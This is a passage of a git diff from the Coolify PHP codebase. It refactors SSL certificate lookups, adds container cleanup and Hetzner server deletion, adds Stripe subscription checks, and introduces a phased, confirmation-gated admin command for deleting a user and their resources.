$server->id)->where('is_ca_certificate', true)->first(); + $caCert = $server->sslCertificates()->where('is_ca_certificate', true)->first(); } if (! $caCert) { @@ -260,6 +260,8 @@ public function handle(StandaloneMongodb $database) $this->commands[] = "echo '{$readme}' > $this->configuration_dir/README.md"; $this->commands[] = "echo 'Pulling {$database->image} image.'"; $this->commands[] = "docker compose -f $this->configuration_dir/docker-compose.yml pull"; + $this->commands[] = "docker stop --timeout=10 $container_name 2>/dev/null || true"; + $this->commands[] = "docker rm -f $container_name 2>/dev/null || true"; $this->commands[] = "docker compose -f $this->configuration_dir/docker-compose.yml up -d"; if ($this->database->enable_ssl) { $this->commands[] = executeInDocker($this->database->uuid, 'chown mongodb:mongodb /etc/mongo/certs/server.pem'); diff --git a/app/Actions/Database/StartMysql.php b/app/Actions/Database/StartMysql.php index 5d5611e07..25546fa9d 100644 --- a/app/Actions/Database/StartMysql.php +++ b/app/Actions/Database/StartMysql.php @@ -57,11 +57,11 @@ public function handle(StandaloneMysql $database) $this->commands[] = "mkdir -p $this->configuration_dir/ssl"; $server = $this->database->destination->server; - $caCert = SslCertificate::where('server_id', $server->id)->where('is_ca_certificate', true)->first(); + $caCert = $server->sslCertificates()->where('is_ca_certificate', true)->first(); if (! $caCert) { $server->generateCaCertificate(); - $caCert = SslCertificate::where('server_id', $server->id)->where('is_ca_certificate', true)->first(); + $caCert = $server->sslCertificates()->where('is_ca_certificate', true)->first(); } if (! $caCert) { @@ -210,6 +210,8 @@ public function handle(StandaloneMysql $database) $this->commands[] = "echo '{$readme}' > $this->configuration_dir/README.md"; $this->commands[] = "echo 'Pulling {$database->image} image.'"; $this->commands[] = "docker compose -f $this->configuration_dir/docker-compose.yml pull"; + $this->commands[] = "docker stop --timeout=10 $container_name 2>/dev/null || true"; + $this->commands[] = "docker rm -f $container_name 2>/dev/null || true"; $this->commands[] = "docker compose -f $this->configuration_dir/docker-compose.yml up -d"; if ($this->database->enable_ssl) { diff --git a/app/Actions/Database/StartPostgresql.php b/app/Actions/Database/StartPostgresql.php index 38d46b3c1..ac011acbe 100644 --- a/app/Actions/Database/StartPostgresql.php +++ b/app/Actions/Database/StartPostgresql.php @@ -62,11 +62,11 @@ public function handle(StandalonePostgresql $database) $this->commands[] = "mkdir -p $this->configuration_dir/ssl"; $server = $this->database->destination->server; - $caCert = SslCertificate::where('server_id', $server->id)->where('is_ca_certificate', true)->first(); + $caCert = $server->sslCertificates()->where('is_ca_certificate', true)->first(); if (! $caCert) { $server->generateCaCertificate(); - $caCert = SslCertificate::where('server_id', $server->id)->where('is_ca_certificate', true)->first(); + $caCert = $server->sslCertificates()->where('is_ca_certificate', true)->first(); } if (! $caCert) { @@ -223,6 +223,8 @@ public function handle(StandalonePostgresql $database) $this->commands[] = "echo '{$readme}' > $this->configuration_dir/README.md"; $this->commands[] = "echo 'Pulling {$database->image} image.'"; $this->commands[] = "docker compose -f $this->configuration_dir/docker-compose.yml pull"; + $this->commands[] = "docker stop --timeout=10 $container_name 2>/dev/null || true"; + $this->commands[] = "docker rm -f $container_name 2>/dev/null || true"; $this->commands[] = "docker compose -f $this->configuration_dir/docker-compose.yml up -d"; if ($this->database->enable_ssl) { $this->commands[] = executeInDocker($this->database->uuid, "chown {$this->database->postgres_user}:{$this->database->postgres_user} /var/lib/postgresql/certs/server.key /var/lib/postgresql/certs/server.crt"); diff --git a/app/Actions/Database/StartRedis.php b/app/Actions/Database/StartRedis.php index 68a1f3fe3..8a7ae42a4 100644 --- a/app/Actions/Database/StartRedis.php +++ b/app/Actions/Database/StartRedis.php @@ -56,11 +56,11 @@ public function handle(StandaloneRedis $database) $this->commands[] = "mkdir -p $this->configuration_dir/ssl"; $server = $this->database->destination->server; - $caCert = SslCertificate::where('server_id', $server->id)->where('is_ca_certificate', true)->first(); + $caCert = $server->sslCertificates()->where('is_ca_certificate', true)->first(); if (! $caCert) { $server->generateCaCertificate(); - $caCert = SslCertificate::where('server_id', $server->id)->where('is_ca_certificate', true)->first(); + $caCert = $server->sslCertificates()->where('is_ca_certificate', true)->first(); } if (! $caCert) { @@ -205,6 +205,8 @@ public function handle(StandaloneRedis $database) if ($this->database->enable_ssl) { $this->commands[] = "chown -R 999:999 $this->configuration_dir/ssl/server.key $this->configuration_dir/ssl/server.crt"; } + $this->commands[] = "docker stop --timeout=10 $container_name 2>/dev/null || true"; + $this->commands[] = "docker rm -f $container_name 2>/dev/null || true"; $this->commands[] = "docker compose -f $this->configuration_dir/docker-compose.yml up -d"; $this->commands[] = "echo 'Database started.'"; diff --git a/app/Actions/Database/StopDatabase.php b/app/Actions/Database/StopDatabase.php index 5c881e743..63f5b1979 100644 --- a/app/Actions/Database/StopDatabase.php +++ b/app/Actions/Database/StopDatabase.php @@ -49,7 +49,7 @@ private function stopContainer($database, string $containerName, int $timeout = { $server = $database->destination->server; instant_remote_process(command: [ - "docker stop --time=$timeout $containerName", + "docker stop --timeout=$timeout $containerName", "docker rm -f $containerName", ], server: $server, throwError: false); } diff --git a/app/Actions/Proxy/StartProxy.php b/app/Actions/Proxy/StartProxy.php index ecfb13d0b..8671a5f27 100644 --- a/app/Actions/Proxy/StartProxy.php +++ b/app/Actions/Proxy/StartProxy.php @@ -19,6 +19,11 @@ public function handle(Server $server, bool $async = true, bool $force = false): if ((is_null($proxyType) || $proxyType === 'NONE' || $server->proxy->force_stop || $server->isBuildServer()) && $force === false) { return 'OK'; } + $server->proxy->set('status', 'starting'); + $server->save(); + $server->refresh(); + ProxyStatusChangedUI::dispatch($server->team_id); + $commands = collect([]); $proxy_path = $server->proxyPath(); $configuration = GetProxyConfiguration::run($server); @@ -64,14 +69,12 @@ public function handle(Server $server, bool $async = true, bool $force = false): ]); $commands = $commands->merge(connectProxyToNetworks($server)); } - $server->proxy->set('status', 'starting'); - $server->save(); - ProxyStatusChangedUI::dispatch($server->team_id); if ($async) { return remote_process($commands, $server, callEventOnFinish: 'ProxyStatusChanged', callEventData: $server->id); } else { instant_remote_process($commands, $server); + $server->proxy->set('type', $proxyType); $server->save(); ProxyStatusChanged::dispatch($server->id); diff --git a/app/Actions/Server/DeleteServer.php b/app/Actions/Server/DeleteServer.php index 15c892e75..45ec68abc 100644 --- a/app/Actions/Server/DeleteServer.php +++ b/app/Actions/Server/DeleteServer.php @@ -2,16 +2,102 @@ namespace App\Actions\Server; +use App\Models\CloudProviderToken; use App\Models\Server; +use App\Models\Team; +use App\Notifications\Server\HetznerDeletionFailed; +use App\Services\HetznerService; use Lorisleiva\Actions\Concerns\AsAction; class DeleteServer { use AsAction; - public function handle(Server $server) + public function handle(int $serverId, bool $deleteFromHetzner = false, ?int $hetznerServerId = null, ?int $cloudProviderTokenId = null, ?int $teamId = null) { - StopSentinel::run($server); - $server->forceDelete(); + $server = Server::withTrashed()->find($serverId); + + // Delete from Hetzner even if server is already gone from Coolify + if ($deleteFromHetzner && ($hetznerServerId || ($server && $server->hetzner_server_id))) { + $this->deleteFromHetznerById( + $hetznerServerId ?? $server->hetzner_server_id, + $cloudProviderTokenId ?? $server->cloud_provider_token_id, + $teamId ?? $server->team_id + ); + } + + ray($server ? 'Deleting server from Coolify' : 'Server already deleted from Coolify, skipping Coolify deletion'); + + // If server is already deleted from Coolify, skip this part + if (! $server) { + return; // Server already force deleted from Coolify + } + + ray('force deleting server from Coolify', ['server_id' => $server->id]); + + try { + $server->forceDelete(); + } catch (\Throwable $e) { + ray('Failed to force delete server from Coolify', [ + 'error' => $e->getMessage(), + 'server_id' => $server->id, + ]); + logger()->error('Failed to force delete server from Coolify', [ + 'error' => $e->getMessage(), + 'server_id' => $server->id, + ]); + } + } + + private function deleteFromHetznerById(int $hetznerServerId, ?int $cloudProviderTokenId, int $teamId): void + { + try { + // Use the provided token, or fallback to first available team token + $token = null; + + if ($cloudProviderTokenId) { + $token = CloudProviderToken::find($cloudProviderTokenId); + } + + if (! $token) { + $token = CloudProviderToken::where('team_id', $teamId) + ->where('provider', 'hetzner') + ->first(); + } + + if (! $token) { + ray('No Hetzner token found for team, skipping Hetzner deletion', [ + 'team_id' => $teamId, + 'hetzner_server_id' => $hetznerServerId, + ]); + + return; + } + + $hetznerService = new HetznerService($token->token); + $hetznerService->deleteServer($hetznerServerId); + + ray('Deleted server from Hetzner', [ + 'hetzner_server_id' => $hetznerServerId, + 'team_id' => $teamId, + ]); + } catch (\Throwable $e) { + ray('Failed to delete server from Hetzner', [ + 'error' => $e->getMessage(), + 'hetzner_server_id' => $hetznerServerId, + 'team_id' => $teamId, + ]); + + // Log the error but don't prevent the server from being deleted from Coolify + logger()->error('Failed to delete server from Hetzner', [ + 'error' => $e->getMessage(), + 'hetzner_server_id' => $hetznerServerId, + 'team_id' => $teamId, + ]); + + // Notify the team about the failure + $team = Team::find($teamId); + $team?->notify(new HetznerDeletionFailed($hetznerServerId, $teamId, $e->getMessage())); + } } } diff --git a/app/Actions/Server/InstallDocker.php b/app/Actions/Server/InstallDocker.php index 5410b1cbd..10589c8b9 100644 --- a/app/Actions/Server/InstallDocker.php +++ b/app/Actions/Server/InstallDocker.php @@ -4,7 +4,6 @@ use App\Helpers\SslHelper; use App\Models\Server; -use App\Models\SslCertificate; use App\Models\StandaloneDocker; use Lorisleiva\Actions\Concerns\AsAction; @@ -20,7 +19,7 @@ public function handle(Server $server) throw new \Exception('Server OS type is not supported for automated installation. Please install Docker manually before continuing: documentation.'); } - if (! SslCertificate::where('server_id', $server->id)->where('is_ca_certificate', true)->exists()) { + if (! $server->sslCertificates()->where('is_ca_certificate', true)->exists()) { $serverCert = SslHelper::generateSslCertificate( commonName: 'Coolify CA Certificate', serverId: $server->id, diff --git a/app/Actions/Stripe/CancelSubscription.php b/app/Actions/Stripe/CancelSubscription.php index 859aec6f6..71b6ed52b 100644 --- a/app/Actions/Stripe/CancelSubscription.php +++ b/app/Actions/Stripe/CancelSubscription.php @@ -30,7 +30,7 @@ public function getSubscriptionsPreview(): Collection $subscriptions = collect(); // Get all teams the user belongs to - $teams = $this->user->teams; + $teams = $this->user->teams()->get(); foreach ($teams as $team) { // Only include subscriptions from teams where user is owner @@ -49,6 +49,64 @@ public function getSubscriptionsPreview(): Collection return $subscriptions; } + /** + * Verify subscriptions exist and are active in Stripe API + * + * @return array ['verified' => Collection, 'not_found' => Collection, 'errors' => array] + */ + public function verifySubscriptionsInStripe(): array + { + if (! isCloud()) { + return [ + 'verified' => collect(), + 'not_found' => collect(), + 'errors' => [], + ]; + } + + $stripe = new StripeClient(config('subscription.stripe_api_key')); + $subscriptions = $this->getSubscriptionsPreview(); + + $verified = collect(); + $notFound = collect(); + $errors = []; + + foreach ($subscriptions as $subscription) { + try { + $stripeSubscription = $stripe->subscriptions->retrieve($subscription->stripe_subscription_id); + + // Check if subscription is actually active in Stripe + if (in_array($stripeSubscription->status, ['active', 'trialing', 'past_due'])) { + $verified->push([ + 'subscription' => $subscription, + 'stripe_status' => $stripeSubscription->status, + 'current_period_end' => $stripeSubscription->current_period_end, + ]); + } else { + $notFound->push([ + 'subscription' => $subscription, + 'reason' => "Status in Stripe: {$stripeSubscription->status}", + ]); + } + } catch (\Stripe\Exception\InvalidRequestException $e) { + // Subscription doesn't exist in Stripe + $notFound->push([ + 'subscription' => $subscription, + 'reason' => 'Not found in Stripe', + ]); + } catch (\Exception $e) { + $errors[] = "Error verifying subscription {$subscription->stripe_subscription_id}: ".$e->getMessage(); + \Log::error("Error verifying subscription {$subscription->stripe_subscription_id}: ".$e->getMessage()); + } + } + + return [ + 'verified' => $verified, + 'not_found' => $notFound, + 'errors' => $errors, + ]; + } + public function execute(): array { if ($this->isDryRun) { diff --git a/app/Actions/User/DeleteUserResources.php b/app/Actions/User/DeleteUserResources.php index 7b2e7318d..3c539d7c5 100644 --- a/app/Actions/User/DeleteUserResources.php +++ b/app/Actions/User/DeleteUserResources.php @@ -24,23 +24,46 @@ public function getResourcesPreview(): array $services = collect(); // Get all teams the user belongs to - $teams = $this->user->teams; + $teams = $this->user->teams()->get(); foreach ($teams as $team) { + // Only delete resources from teams that will be FULLY DELETED + // This means: user is the ONLY member of the team + // + // DO NOT delete resources if: + // - User is just a member (not owner) + // - Team has other members (ownership will be transferred or user just removed) + + $userRole = $team->pivot->role; + $memberCount = $team->members->count(); + + // Skip if user is not owner + if ($userRole !== 'owner') { + continue; + } + + // Skip if team has other members (will be transferred/user removed, not deleted) + if ($memberCount > 1) { + continue; + } + + // Only delete resources from teams where user is the ONLY member + // These teams will be fully deleted + // Get all servers for this team - $servers = $team->servers; + $servers = $team->servers()->get(); foreach ($servers as $server) { - // Get applications - $serverApplications = $server->applications; + // Get applications (custom method returns Collection) + $serverApplications = $server->applications(); $applications = $applications->merge($serverApplications); - // Get databases - $serverDatabases = $this->getAllDatabasesForServer($server); + // Get databases (custom method returns Collection) + $serverDatabases = $server->databases(); $databases = $databases->merge($serverDatabases); - // Get services - $serverServices = $server->services; + // Get services (relationship needs ->get()) + $serverServices = $server->services()->get(); $services = $services->merge($serverServices); } } @@ -105,21 +128,4 @@ public function execute(): array return $deletedCounts; } - - private function getAllDatabasesForServer($server): Collection - { - $databases = collect(); - - // Get all standalone database types - $databases = $databases->merge($server->postgresqls); - $databases = $databases->merge($server->mysqls); - $databases = $databases->merge($server->mariadbs); - $databases = $databases->merge($server->mongodbs); - $databases = $databases->merge($server->redis); - $databases = $databases->merge($server->keydbs); - $databases = $databases->merge($server->dragonflies); - $databases = $databases->merge($server->clickhouses); - - return $databases; - } } diff --git a/app/Actions/User/DeleteUserServers.php b/app/Actions/User/DeleteUserServers.php index d8caae54d..ca29dd49d 100644 --- a/app/Actions/User/DeleteUserServers.php +++ b/app/Actions/User/DeleteUserServers.php @@ -23,13 +23,13 @@ public function getServersPreview(): Collection $servers = collect(); // Get all teams the user belongs to - $teams = $this->user->teams; + $teams = $this->user->teams()->get(); foreach ($teams as $team) { // Only include servers from teams where user is owner or admin $userRole = $team->pivot->role; if ($userRole === 'owner' || $userRole === 'admin') { - $teamServers = $team->servers; + $teamServers = $team->servers()->get(); $servers = $servers->merge($teamServers); } } diff --git a/app/Console/Commands/AdminDeleteUser.php b/app/Console/Commands/AdminDeleteUser.php new file mode 100644 index 000000000..9b803b1f7 --- /dev/null +++ b/app/Console/Commands/AdminDeleteUser.php @@ -0,0 +1,1173 @@ + false, + 'phase_2_resources' => false, + 'phase_3_servers' => false, + 'phase_4_teams' => false, + 'phase_5_user_profile' => false, + 'phase_6_stripe' => false, + 'db_committed' => false, + ]; + + public function handle() + { + // Register signal handlers for graceful shutdown (Ctrl+C handling) + $this->registerSignalHandlers(); + + $email = $this->argument('email'); + $this->isDryRun = $this->option('dry-run'); + $this->skipStripe = $this->option('skip-stripe'); + $this->skipResources = $this->option('skip-resources'); + $force = $this->option('force'); + + if ($force) { + $this->warn('⚠️ FORCE MODE - Lock check will be bypassed'); + $this->warn(' Use this flag only if you are certain no other deletion is running'); + $this->newLine(); + } + + if ($this->isDryRun) { + $this->info('🔍 DRY RUN MODE - No data will be deleted'); + $this->newLine(); + } + + if ($this->output->isVerbose()) { + $this->info('📊 VERBOSE MODE - Full stack traces will be shown on errors'); + $this->newLine(); + } else { + $this->comment('💡 Tip: Use -v flag for detailed error stack traces'); + $this->newLine(); + } + + if (! $this->isDryRun && ! $this->option('auto-confirm')) { + $this->info('🔄 INTERACTIVE MODE - You will be asked to confirm after each phase'); + $this->comment(' Use --auto-confirm to skip phase confirmations'); + $this->newLine(); + } + + // Notify about instance type and Stripe + if (isCloud()) { + $this->comment('☁️ Cloud instance - Stripe subscriptions will be handled'); + } else { + $this->comment('🏠 Self-hosted instance - Stripe operations will be skipped'); + } + $this->newLine(); + + try { + $this->user = User::whereEmail($email)->firstOrFail(); + } catch (\Exception $e) { + $this->error("User with email '{$email}' not found."); + + return 1; + } + + // Implement file lock to prevent concurrent deletions of the same user + $lockKey = "user_deletion_{$this->user->id}"; + $this->lock = Cache::lock($lockKey, 600); // 10 minute lock + + if (! $force) { + if (! $this->lock->get()) { + $this->error('Another deletion process is already running for this user.'); + $this->error('Use --force to bypass this lock (use with extreme caution).'); + $this->logAction("Deletion blocked for user {$email}: Another process is already running"); + + return 1; + } + } else { + // In force mode, try to get lock but continue even if it fails + if (! $this->lock->get()) { + $this->warn('⚠️ Lock exists but proceeding due to --force flag'); + $this->warn(' There may be another deletion process running!'); + $this->newLine(); + } + } + + try { + $this->logAction("Starting user deletion process for: {$email}"); + + // Phase 1: Show User Overview (outside transaction) + if (! $this->showUserOverview()) { + $this->info('User deletion cancelled by operator.'); + + return 0; + } + $this->deletionState['phase_1_overview'] = true; + + // If not dry run, wrap DB operations in a transaction + // NOTE: Stripe cancellations happen AFTER commit to avoid inconsistent state + if (! $this->isDryRun) { + try { + DB::beginTransaction(); + + // Phase 2: Delete Resources + // WARNING: This triggers Docker container deletion via SSH which CANNOT be rolled back + if (! $this->skipResources) { + if (! $this->deleteResources()) { + DB::rollBack(); + $this->displayErrorState('Phase 2: Resource Deletion'); + $this->error('❌ User deletion failed at resource deletion phase.'); + $this->warn('⚠️ Some Docker containers may have been deleted on remote servers and cannot be restored.'); + $this->displayRecoverySteps(); + + return 1; + } + } + $this->deletionState['phase_2_resources'] = true; + + // Confirmation to continue after Phase 2 + if (! $this->skipResources && ! $this->option('auto-confirm')) { + $this->newLine(); + if (! $this->confirm('Phase 2 completed. Continue to Phase 3 (Delete Servers)?', true)) { + DB::rollBack(); + $this->info('User deletion cancelled by operator after Phase 2.'); + $this->info('Database changes have been rolled back.'); + + return 0; + } + } + + // Phase 3: Delete Servers + // WARNING: This may trigger cleanup operations on remote servers which CANNOT be rolled back + if (! $this->deleteServers()) { + DB::rollBack(); + $this->displayErrorState('Phase 3: Server Deletion'); + $this->error('❌ User deletion failed at server deletion phase.'); + $this->warn('⚠️ Some server cleanup operations may have been performed and cannot be restored.'); + $this->displayRecoverySteps(); + + return 1; + } + $this->deletionState['phase_3_servers'] = true; + + // Confirmation to continue after Phase 3 + if (! $this->option('auto-confirm')) { + $this->newLine(); + if (! $this->confirm('Phase 3 completed. Continue to Phase 4 (Handle Teams)?', true)) { + DB::rollBack(); + $this->info('User deletion cancelled by operator after Phase 3.'); + $this->info('Database changes have been rolled back.'); + + return 0; + } + } + + // Phase 4: Handle Teams + if (! $this->handleTeams()) { + DB::rollBack(); + $this->displayErrorState('Phase 4: Team Handling'); + $this->error('❌ User deletion failed at team handling phase.'); + $this->displayRecoverySteps(); + + return 1; + } + $this->deletionState['phase_4_teams'] = true; + + // Confirmation to continue after Phase 4 + if (! $this->option('auto-confirm')) { + $this->newLine(); + if (! $this->confirm('Phase 4 completed. Continue to Phase 5 (Delete User Profile)?', true)) { + DB::rollBack(); + $this->info('User deletion cancelled by operator after Phase 4.'); + $this->info('Database changes have been rolled back.'); + + return 0; + } + } + + // Phase 5: Delete User Profile + if (! $this->deleteUserProfile()) { + DB::rollBack(); + $this->displayErrorState('Phase 5: User Profile Deletion'); + $this->error('❌ User deletion failed at user profile deletion phase.'); + $this->displayRecoverySteps(); + + return 1; + } + $this->deletionState['phase_5_user_profile'] = true; + + // CRITICAL CONFIRMATION: Database commit is next (PERMANENT) + if (! $this->option('auto-confirm')) { + $this->newLine(); + $this->warn('⚠️ CRITICAL DECISION POINT'); + $this->warn('Next step: COMMIT database changes (PERMANENT and IRREVERSIBLE)'); + $this->warn('All resources, servers, teams, and user profile will be permanently deleted'); + $this->newLine(); + if (! $this->confirm('Phase 5 completed. Commit database changes? (THIS IS PERMANENT)', false)) { + DB::rollBack(); + $this->info('User deletion cancelled by operator before commit.'); + $this->info('Database changes have been rolled back.'); + $this->warn('⚠️ Note: Some Docker containers may have been deleted on remote servers.'); + + return 0; + } + } + + // Commit the database transaction + DB::commit(); + $this->deletionState['db_committed'] = true; + + $this->newLine(); + $this->info('✅ Database operations completed successfully!'); + $this->info('✅ Transaction committed - database changes are now PERMANENT.'); + $this->logAction("Database deletion completed for: {$email}"); + + // Confirmation to continue to Stripe (after commit) + if (! $this->skipStripe && isCloud() && ! $this->option('auto-confirm')) { + $this->newLine(); + $this->warn('⚠️ Database changes are committed (permanent)'); + $this->info('Next: Cancel Stripe subscriptions'); + if (! $this->confirm('Continue to Phase 6 (Cancel Stripe Subscriptions)?', true)) { + $this->warn('User deletion stopped after database commit.'); + $this->error('⚠️ IMPORTANT: User deleted from database but Stripe subscriptions remain active!'); + $this->error('You must cancel subscriptions manually in Stripe Dashboard.'); + $this->error('Go to: https://dashboard.stripe.com/'); + $this->error('Search for: '.$email); + + return 1; + } + } + + // Phase 6: Cancel Stripe Subscriptions (AFTER DB commit) + // This is done AFTER commit because Stripe API calls cannot be rolled back + // If this fails, DB changes are already committed but subscriptions remain active + if (! $this->skipStripe && isCloud()) { + if (! $this->cancelStripeSubscriptions()) { + $this->newLine(); + $this->error('═══════════════════════════════════════'); + $this->error('⚠️ CRITICAL: INCONSISTENT STATE DETECTED'); + $this->error('═══════════════════════════════════════'); + $this->error('✓ User data DELETED from database (committed)'); + $this->error('✗ Stripe subscription cancellation FAILED'); + $this->newLine(); + $this->displayErrorState('Phase 6: Stripe Cancellation (Post-Commit)'); + $this->newLine(); + $this->error('MANUAL ACTION REQUIRED:'); + $this->error('1. Go to Stripe Dashboard: https://dashboard.stripe.com/'); + $this->error('2. Search for customer email: '.$email); + $this->error('3. Cancel all active subscriptions'); + $this->error('4. Check storage/logs/user-deletions.log for subscription IDs'); + $this->newLine(); + $this->logAction("INCONSISTENT STATE: User {$email} deleted but Stripe cancellation failed"); + + return 1; + } + } + $this->deletionState['phase_6_stripe'] = true; + + $this->newLine(); + $this->info('✅ User deletion completed successfully!'); + $this->logAction("User deletion completed for: {$email}"); + + } catch (\Exception $e) { + DB::rollBack(); + $this->newLine(); + $this->error('═══════════════════════════════════════'); + $this->error('❌ EXCEPTION DURING USER DELETION'); + $this->error('═══════════════════════════════════════'); + $this->error('Exception: '.get_class($e)); + $this->error('Message: '.$e->getMessage()); + $this->error('File: '.$e->getFile().':'.$e->getLine()); + $this->newLine(); + + if ($this->output->isVerbose()) { + $this->error('Stack Trace:'); + $this->error($e->getTraceAsString()); + $this->newLine(); + } else { + $this->info('Run with -v for full stack trace'); + $this->newLine(); + } + + $this->displayErrorState('Exception during execution'); + $this->displayRecoverySteps(); + + $this->logAction("User deletion failed for {$email}: {$e->getMessage()} in {$e->getFile()}:{$e->getLine()}"); + + return 1; + } + } else { + // Dry run mode - just run through the phases without transaction + // Phase 2: Delete Resources + if (! $this->skipResources) { + if (! $this->deleteResources()) { + $this->info('User deletion would be cancelled at resource deletion phase.'); + + return 0; + } + } + + // Phase 3: Delete Servers + if (! $this->deleteServers()) { + $this->info('User deletion would be cancelled at server deletion phase.'); + + return 0; + } + + // Phase 4: Handle Teams + if (! $this->handleTeams()) { + $this->info('User deletion would be cancelled at team handling phase.'); + + return 0; + } + + // Phase 5: Delete User Profile + if (! $this->deleteUserProfile()) { + $this->info('User deletion would be cancelled at user profile deletion phase.'); + + return 0; + } + + // Phase 6: Cancel Stripe Subscriptions (shown after DB operations in dry run too) + if (! $this->skipStripe && isCloud()) { + if (! $this->cancelStripeSubscriptions()) { + $this->info('User deletion would be cancelled at Stripe cancellation phase.'); + + return 0; + } + } + + $this->newLine(); + $this->info('✅ DRY RUN completed successfully! No data was deleted.'); + } + + return 0; + } finally { + // Ensure lock is always released + $this->releaseLock(); + } + } + + private function showUserOverview(): bool + { + $this->info('═══════════════════════════════════════'); + $this->info('PHASE 1: USER OVERVIEW'); + $this->info('═══════════════════════════════════════'); + $this->newLine(); + + $teams = $this->user->teams()->get(); + $ownedTeams = $teams->filter(fn ($team) => $team->pivot->role === 'owner'); + $memberTeams = $teams->filter(fn ($team) => $team->pivot->role !== 'owner'); + + // Collect servers and resources ONLY from teams that will be FULLY DELETED + // This means: user is owner AND is the ONLY member + // + // Resources from these teams will NOT be deleted: + // - Teams where user is just a member + // - Teams where user is owner but has other members (will be transferred/user removed) + $allServers = collect(); + $allApplications = collect(); + $allDatabases = collect(); + $allServices = collect(); + $activeSubscriptions = collect(); + + foreach ($teams as $team) { + $userRole = $team->pivot->role; + $memberCount = $team->members->count(); + + // Only show resources from teams where user is the ONLY member + // These are the teams that will be fully deleted + if ($userRole !== 'owner' || $memberCount > 1) { + continue; + } + + $servers = $team->servers()->get(); + $allServers = $allServers->merge($servers); + + foreach ($servers as $server) { + $resources = $server->definedResources(); + foreach ($resources as $resource) { + if ($resource instanceof \App\Models\Application) { + $allApplications->push($resource); + } elseif ($resource instanceof \App\Models\Service) { + $allServices->push($resource); + } else { + $allDatabases->push($resource); + } + } + } + + // Only collect subscriptions on cloud instances + if (isCloud() && $team->subscription && $team->subscription->stripe_subscription_id) { + $activeSubscriptions->push($team->subscription); + } + } + + // Build table data + $tableData = [ + ['User', $this->user->email], + ['User ID', $this->user->id], + ['Created', $this->user->created_at->format('Y-m-d H:i:s')], + ['Last Login', $this->user->updated_at->format('Y-m-d H:i:s')], + ['Teams (Total)', $teams->count()], + ['Teams (Owner)', $ownedTeams->count()], + ['Teams (Member)', $memberTeams->count()], + ['Servers', $allServers->unique('id')->count()], + ['Applications', $allApplications->count()], + ['Databases', $allDatabases->count()], + ['Services', $allServices->count()], + ]; + + // Only show Stripe subscriptions on cloud instances + if (isCloud()) { + $tableData[] = ['Active Stripe Subscriptions', $activeSubscriptions->count()]; + } + + $this->table(['Property', 'Value'], $tableData); + + $this->newLine(); + + $this->warn('⚠️ WARNING: This will permanently delete the user and all associated data!'); + $this->newLine(); + + if (! $this->confirm('Do you want to continue with the deletion process?', false)) { + return false; + } + + return true; + } + + private function deleteResources(): bool + { + $this->newLine(); + $this->info('═══════════════════════════════════════'); + $this->info('PHASE 2: DELETE RESOURCES'); + $this->info('═══════════════════════════════════════'); + $this->newLine(); + + $action = new DeleteUserResources($this->user, $this->isDryRun); + $resources = $action->getResourcesPreview(); + + if ($resources['applications']->isEmpty() && + $resources['databases']->isEmpty() && + $resources['services']->isEmpty()) { + $this->info('No resources to delete.'); + + return true; + } + + $this->info('Resources to be deleted:'); + $this->newLine(); + + if ($resources['applications']->isNotEmpty()) { + $this->warn("Applications to be deleted ({$resources['applications']->count()}):"); + $this->table( + ['Name', 'UUID', 'Server', 'Status'], + $resources['applications']->map(function ($app) { + return [ + $app->name, + $app->uuid, + $app->destination->server->name, + $app->status ?? 'unknown', + ]; + })->toArray() + ); + $this->newLine(); + } + + if ($resources['databases']->isNotEmpty()) { + $this->warn("Databases to be deleted ({$resources['databases']->count()}):"); + $this->table( + ['Name', 'Type', 'UUID', 'Server'], + $resources['databases']->map(function ($db) { + return [ + $db->name, + class_basename($db), + $db->uuid, + $db->destination->server->name, + ]; + })->toArray() + ); + $this->newLine(); + } + + if ($resources['services']->isNotEmpty()) { + $this->warn("Services to be deleted ({$resources['services']->count()}):"); + $this->table( + ['Name', 'UUID', 'Server'], + $resources['services']->map(function ($service) { + return [ + $service->name, + $service->uuid, + $service->server->name, + ]; + })->toArray() + ); + $this->newLine(); + } + + $this->error('⚠️ THIS ACTION CANNOT BE UNDONE!'); + if (! $this->confirm('Are you sure you want to delete all these resources?', false)) { + return false; + } + + if (! $this->isDryRun) { + $this->info('Deleting resources...'); + try { + $result = $action->execute(); + $this->info("✓ Deleted: {$result['applications']} applications, {$result['databases']} databases, {$result['services']} services"); + $this->logAction("Deleted resources for user {$this->user->email}: {$result['applications']} apps, {$result['databases']} databases, {$result['services']} services"); + } catch (\Exception $e) { + $this->error('Failed to delete resources:'); + $this->error('Exception: '.get_class($e)); + $this->error('Message: '.$e->getMessage()); + $this->error('File: '.$e->getFile().':'.$e->getLine()); + + if ($this->output->isVerbose()) { + $this->error('Stack Trace:'); + $this->error($e->getTraceAsString()); + } + + throw $e; // Re-throw to trigger rollback + } + } + + return true; + } + + private function deleteServers(): bool + { + $this->newLine(); + $this->info('═══════════════════════════════════════'); + $this->info('PHASE 3: DELETE SERVERS'); + $this->info('═══════════════════════════════════════'); + $this->newLine(); + + $action = new DeleteUserServers($this->user, $this->isDryRun); + $servers = $action->getServersPreview(); + + if ($servers->isEmpty()) { + $this->info('No servers to delete.'); + + return true; + } + + $this->warn("Servers to be deleted ({$servers->count()}):"); + $this->table( + ['ID', 'Name', 'IP', 'Description', 'Resources Count'], + $servers->map(function ($server) { + $resourceCount = $server->definedResources()->count(); + + return [ + $server->id, + $server->name, + $server->ip, + $server->description ?? '-', + $resourceCount, + ]; + })->toArray() + ); + $this->newLine(); + + $this->error('⚠️ WARNING: Deleting servers will remove all server configurations!'); + if (! $this->confirm('Are you sure you want to delete all these servers?', false)) { + return false; + } + + if (! $this->isDryRun) { + $this->info('Deleting servers...'); + try { + $result = $action->execute(); + $this->info("✓ Deleted {$result['servers']} servers"); + $this->logAction("Deleted {$result['servers']} servers for user {$this->user->email}"); + } catch (\Exception $e) { + $this->error('Failed to delete servers:'); + $this->error('Exception: '.get_class($e)); + $this->error('Message: '.$e->getMessage()); + $this->error('File: '.$e->getFile().':'.$e->getLine()); + + if ($this->output->isVerbose()) { + $this->error('Stack Trace:'); + $this->error($e->getTraceAsString()); + } + + throw $e; // Re-throw to trigger rollback + } + } + + return true; + } + + private function handleTeams(): bool + { + $this->newLine(); + $this->info('═══════════════════════════════════════'); + $this->info('PHASE 4: HANDLE TEAMS'); + $this->info('═══════════════════════════════════════'); + $this->newLine(); + + $action = new DeleteUserTeams($this->user, $this->isDryRun); + $preview = $action->getTeamsPreview(); + + // Check for edge cases first - EXIT IMMEDIATELY if found + if ($preview['edge_cases']->isNotEmpty()) { + $this->error('═══════════════════════════════════════'); + $this->error('⚠️ EDGE CASES DETECTED - CANNOT PROCEED'); + $this->error('═══════════════════════════════════════'); + 